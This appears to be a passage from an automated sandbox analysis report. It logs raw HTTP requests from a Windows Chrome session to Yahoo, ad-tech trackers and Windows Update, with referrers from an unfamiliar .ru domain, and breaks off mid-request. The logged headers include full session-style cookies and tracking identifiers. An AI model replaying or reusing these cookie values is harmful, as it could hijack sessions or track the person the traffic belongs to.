Source: global traffic	HTTP traffic detected: GET /_td_api/beacon/info?event=activate&spaceId=1197802003&version=1.1.53&scope=https://www.yahoo.com/&subscription_endpoint=null&metadataTime=4&src=notification-sw&code=info HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/service-worker.jsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; trc_cookie_storage=taboola%2520global%253Auser-id%3D27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: pips.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.yahoo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/cds-pips.js HTTP/1.1Host: cdn.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=26; receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /demconf.jpg?et:ibs%7cdata:dpid=30646 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=86882777560484617681301632197120982451; dpm=86882777560484617681301632197120982451
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-geolocation-1.3.0-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cms?partner_id=NEUAR&_origin=false&_redirect=false&_hosted_id=219623205021003425087&gdpr=&gdpr_consent= HTTP/1.1Host: cms.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; IDSYNC="19ac~2kzt:19aj~2kzt:19bn~2kzt:19bu~2kzt:19cu~2kzt:19cw~2kzt:19e0~2kzt:19ea~2kzt"
Source: global traffic	HTTP traffic detected: GET /caas/content/article/?uuid=60ff7c91-851e-44a7-8400-9dddc9a53744,6af55d48-c74c-4256-b3c7-d83c2f09aacb,5805266d-0392-4fc5-99e3-b3b7e9dcb8e1,d1fcf1c7-2c6e-42c3-872e-a19bb4e9cd08,18f2d39f-eda5-4e7b-ae1d-b679c4a66f1a,96cf70ac-87fb-47ef-be1c-255bf47b00c2&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=900,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableRRAtTop,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1pa4ckpjflnfm HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"x-webp: 1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; trc_cookie_storage=taboola%2520global%253Auser-id%3D27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380
Source: global traffic	HTTP traffic detected: GET /oath/1/info2?sType=sync&_sdv&sExtCookieId=y-utA7x.JE2oM7UhEgkHtPGjDCEovUviSB184-~A&sInitiator=external HTTP/1.1Host: uipus.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: SEUNCY=8B22F39EC31AE5F8
Source: global traffic	HTTP traffic detected: GET /?uid=27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380&ptf=V2luZG93cw==&ptfv=MTAuMC4w&ufv=MTE3LjAuNTkzOC4xMzI=&bnd=R29vZ2xlIENocm9tZQ==&bndv=MTE3&bnd=Tm90O0E9QnJhbmQ=&bndv=OA==&bnd=Q2hyb21pdW0=&bndv=MTE3&mbl=ZmFsc2U= HTTP/1.1Host: cds.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.yahoo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58692/cms?partner_id=NEUAR&_origin=false&_redirect=false&_hosted_id=219623205021003425087&gdpr=&gdpr_consent= HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; IDSYNC="19ac~2kzt:19aj~2kzt:19bn~2kzt:19bu~2kzt:19cu~2kzt:19cw~2kzt:19e0~2kzt:19ea~2kzt"
Source: global traffic	HTTP traffic detected: GET /tdv2_fp/api/resource/WeatherLocationService.favoriteLocation?returnMeta=true&lang=en-US&region=US&site=fp&ssl=1&crumb=eARa8MVzIY4 HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"x-webp: 1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; trc_cookie_storage=taboola%2520global%253Auser-id%3D27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380
Source: global traffic	HTTP traffic detected: GET /eh/prebid-config/bp-fp.json HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://www.yahoo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /idex/did-004f/any?duid=05c3ae107b3d--01j91z6kskcb9e9axvbr8ebtqq&us_privacy=1YNN&gdpr=0&did=did-004f&gpp_s=DBAA&gpp_as=-1&cd=.yahoo.com&pu=https%3A%2F%2Fwww.yahoo.com&resolve=nonId&resolve=magnite&resolve=pubmatic&resolve=index&resolve=openx HTTP/1.1Host: idx.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://www.yahoo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=LrkSUHRE2Sx57my&MD=btZSeAEe HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /taboola/image/fetch/c_crop%2Cf_jpg%2Cq_auto%2Ce_sharpen%2Car_1.9100%2Cw_1200%2Cx_0%2Cy_11/c_fill%2Cw_340%2Ch_179/http%3A//cdn.taboola.com/libtrc/static/thumbnails/9cc49da8e6bbb68a4a886a5bc8ac7872.png HTTP/1.1Host: images.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_179%2Cw_340%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A//cdn.taboola.com/libtrc/static/thumbnails/0ecf13bd0c5698f9380cda21a35784a0.jpg HTTP/1.1Host: images.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: pips.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /oath/1/info2?sType=sync&_sdv&sExtCookieId=y-utA7x.JE2oM7UhEgkHtPGjDCEovUviSB184-~A&sInitiator=external HTTP/1.1Host: uipus.semasio.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: SEUNCY=8B22F39EC31AE5F8
Source: global traffic	HTTP traffic detected: GET /aaq/f10d509c/d1ccw66oyq8ex2.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-autocomplete-1.31.8-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas/content/article/?uuid=60ff7c91-851e-44a7-8400-9dddc9a53744,6af55d48-c74c-4256-b3c7-d83c2f09aacb,5805266d-0392-4fc5-99e3-b3b7e9dcb8e1,d1fcf1c7-2c6e-42c3-872e-a19bb4e9cd08,18f2d39f-eda5-4e7b-ae1d-b679c4a66f1a,96cf70ac-87fb-47ef-be1c-255bf47b00c2&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=900,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableRRAtTop,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1pa4ckpjflnfm HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; trc_cookie_storage=taboola%2520global%253Auser-id%3D27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01j91z6kskcb9e9axvbr8ebtqq; _lc2_fpi_meta=%7B%22w%22%3A1727716871988%7D
Source: global traffic	HTTP traffic detected: GET /du/ay/wnsrvbjmeprtfrnfx.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-geolocation-1.3.0-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tdv2_fp/api/resource/WeatherLocationService.favoriteLocation?returnMeta=true&lang=en-US&region=US&site=fp&ssl=1&crumb=eARa8MVzIY4 HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; trc_cookie_storage=taboola%2520global%253Auser-id%3D27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01j91z6kskcb9e9axvbr8ebtqq; _lc2_fpi_meta=%7B%22w%22%3A1727716871988%7D
Source: global traffic	HTTP traffic detected: GET /1a HTTP/1.1Host: i.clean.ggConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/prebid/prebid-2.0.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /j?dtstmp=1727716872500&did=did-004f&se=e30&duid=05c3ae107b3d--01j91z6kskcb9e9axvbr8ebtqq&tv=8.51.0&pu=https%3A%2F%2Fwww.yahoo.com%2F&us_privacy=1YNN&wpn=prebid&gdpr=0&refr=https%3A%2F%2Fhfj.rontishet.ru%2F&gpp_s=DBAA&gpp_as=-1&cd=.yahoo.com HTTP/1.1Host: rp.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://www.yahoo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /j?dtstmp=1727716872500&did=did-004f&se=e30&duid=05c3ae107b3d--01j91z6kskcb9e9axvbr8ebtqq&tv=8.51.0&pu=https%3A%2F%2Fwww.yahoo.com%2F&us_privacy=1YNN&wpn=prebid&gdpr=0&refr=https%3A%2F%2Fhfj.rontishet.ru%2F&gpp_s=DBAA&gpp_as=-1&cd=.yahoo.com&n3pc=true HTTP/1.1Host: rp.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://www.yahoo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: 